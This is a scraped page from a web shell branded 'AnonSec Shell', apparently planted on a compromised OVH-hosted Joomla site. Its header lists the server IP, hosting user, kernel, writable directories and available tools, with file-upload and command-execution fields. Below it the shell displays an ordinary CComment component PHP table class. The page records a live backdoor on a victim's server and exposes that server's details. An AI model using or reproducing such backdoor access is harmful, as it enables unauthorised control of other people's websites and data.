AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/pornic/administrator/components/com_comment/tables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/pornic/administrator/components/com_comment/tables/comment.php
<?php
/**
 * @author     Daniel Dimitrov <daniel@compojoom.com>
 * @date       27.02.13
 *
 * @copyright  Copyright (C) 2008 - 2013 compojoom.com . All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die('Restricted access');


/**
 * Class CcommentTableComment
 *
 * @since  5.0
 */
class CcommentTableComment extends JTable
{
	/**
	 * The constructor
	 *
	 * @param   JDatabaseDriver  &$db  - JDatabaseDriver object.
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__comment', 'id', $db);
	}

	/**
	 * Method to bind an associative array or object to the JTable instance.This
	 * method only binds properties that are publicly accessible and optionally
	 * takes an array of properties to ignore when binding.
	 *
	 * @param   mixed  $array   An associative array or object to bind to the JTable instance.
	 * @param   mixed  $ignore  An optional array or space separated list of properties to ignore while binding.
	 *
	 * @return bool
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['customfields']) && is_array($array['customfields']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['customfields']);
			$array['customfields'] = (string) $registry;
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Stores a row in the database
	 *
	 * @param   bool  $updateNulls  - True to update fields even if they are null.
	 *
	 * @return bool
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		if ($this->id)
		{
			$this->modified = $date->toSql();
			$this->modified_by = $user->get('id');
		}
		else
		{
			$this->date = $date->toSql();
			$this->unsubscribe_hash = md5(JSession::getFormToken() . time() . mt_rand(1, 100));
			$this->moderate_hash = md5($this->ip . JVERSION . JSession::getFormToken() . time() . mt_rand(1, 10000));

		}

		return parent::store($updateNulls);
	}
}

Anon7 - 2022
AnonSec Team